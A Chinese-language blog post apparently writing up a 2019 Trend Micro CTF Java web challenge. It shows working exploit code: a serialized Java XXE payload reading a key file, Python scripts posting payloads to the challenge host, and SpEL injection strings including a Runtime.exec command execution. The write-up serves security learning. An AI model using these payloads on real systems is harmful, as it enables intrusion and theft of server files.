Sky's blog

2019 Trend Micro CTF & Java Web

字数统计: 1,011阅读时长: 5 min
2019/09/27 Share

前言

之前写的文章都是偏重于php,本篇文章就以2019 Trend Micro CTF的一道300分的Java Web开始我的Java之路吧~

题目分析

题目给了1个war包,那么很明显是一道代码审计题目,我们使用JD-GUI打开分析一下代码,代码结构大致如下:
zhao
我们在Office类中看到需要接收2个参数:

继续往下跟进,我们看到一个明显的spel表达式注入点:

而nametag正是我们传入的参数,同时未做任何过滤,便带入了表达式中进行解析,那么这明显是一个可控利用点。
但是如何进入该if条件句成为了一个问题,我们注意到:

1
2
3
String keyParam = request.getParameter("key");
String keyFileLocation = "/TMCTF2019/key";
if (key.contentEquals(keyParam))

我们必须满足我们传入的key和文件/TMCTF2019/key中的值一致才可以进入该条件句,那么只要找到一个文件任意读取的点即可。

XXE任意文件读取

继续审计代码,发现在Person类中,存在XXE文件读取点:

而结果会回显在Server类中:

我们写出对应的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package com.trendmicro;

import org.w3c.dom.Document;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.SAXException;

import java.io.*;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;

public class Person
implements Serializable
{
public String name;
private static final long serialVersionUID = -559038737L;

public Person(String name)
{
this.name = name;
}

private void readObject(ObjectInputStream aInputStream)
throws ClassNotFoundException, IOException, ParserConfigurationException, SAXException
{
int paramInt = aInputStream.readInt();
byte[] arrayOfByte = new byte[paramInt];
aInputStream.read(arrayOfByte);
ByteArrayInputStream localByteArrayInputStream = new ByteArrayInputStream(arrayOfByte);
DocumentBuilderFactory localDocumentBuilderFactory = DocumentBuilderFactory.newInstance();
localDocumentBuilderFactory.setNamespaceAware(true);
DocumentBuilder localDocumentBuilder = localDocumentBuilderFactory.newDocumentBuilder();
Document localDocument = localDocumentBuilder.parse(localByteArrayInputStream);
NodeList nodeList = localDocument.getElementsByTagName("tag");
Node node = nodeList.item(0);
this.name = node.getTextContent();
}

private void writeObject (ObjectOutputStream out) throws ClassNotFoundException, IOException, ParserConfigurationException, SAXException{
String xml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?> \n" +
"<!DOCTYPE ANY [ \n" +
"<!ENTITY shit SYSTEM \"file:///TMCTF2019/key\"> \n" +
"]> \n" +
"<root><tag>&shit;</tag></root> ";
byte[] bs = xml.getBytes();
out.writeInt(bs.length);
ByteArrayOutputStream baos = new ByteArrayOutputStream(bs.length);
baos.write(bs);
out.write(baos.toByteArray());
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
package com.trendmicro;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;

public class Main {
public static void main(String[] args) throws Exception {
Person person = new Person("a");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("./obj"));
oos.writeObject(person);
oos.close();
}
}

首先运行生成exp文件,然后利用python将其作为data发送,尝试进行XXE攻击读取文件/TMCTF2019/key:

1
2
3
4
5
6
7
import requests

url = 'http://flagmarshal.xyz/jail'
f = open('./obj','rb')
exp = f.read()
r = requests.post(url = url,data=exp)
print r.content

可以成功读到回显:

我们关注到现在的person.name已经变成了我们xxe读取的文件内容,我们成功的获取了/TMCTF2019/key,其值为:Fo0lMe0nce5hameOnUFoo1MeUCantGetF0oledAgain

Spel表达式注入攻击

那么我们回到之前的点,剩下的就是对其进行攻击:

我们关注到并没有实际的回显点,我们首先尝试命令执行:

1
2
3
4
5
6
import requests
url = "http://flagmarshal.xyz/Office?key=Fo0lMe0nce5hameOnUFoo1MeUCantGetF0oledAgain&nametag=%s"
exp = '''T(java.lang.Runtime).getRuntime().exec("nslookup a.com")'''
now_url = url %exp
r = requests.get(now_url)
print r.content

得到回显:

1
Please remember that I can only resolve the 'com.trendmicro.jail.Flag' classI am sorry but you cannot see the Marshal

我们发现只允许我们使用:com.trendmicro.jail.Flag
我们进行代码审计:

我们发现,只要调用getflag()函数即可在报错信息中得到flag。
注意到表达式为:

1
'nametag' == 'Marshal'

我们的可控点在nametag,我们尝试构造:

1
nametag = '+T(com.trendmicro.jail.Flag).getFlag()+'

这样即可得到:

1
''+T(com.trendmicro.jail.Flag).getFlag()+'' == 'Marshal'

我们尝试利用:

1
2
3
4
5
6
7
import requests

url = "http://flagmarshal.xyz/Office?key=Fo0lMe0nce5hameOnUFoo1MeUCantGetF0oledAgain&nametag=%s"
exp ="""'+T(com.trendmicro.jail.Flag).getFlag()+'"""
now_url = url %exp
r = requests.get(now_url)
print r.content

发现出现了报错,其中并无flag:

纠结了许久,发现是+需要编码为%2B的问题,更正后即可getflag:

后记

题目串联了2个漏洞:Spel表达式注入+XXE文件任意读取,放在Java中还是可以学到一些知识的~

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. 前言
  2. 2. 题目分析
  3. 3. XXE任意文件读取
  4. 4. Spel表达式注入攻击
  5. 5. 后记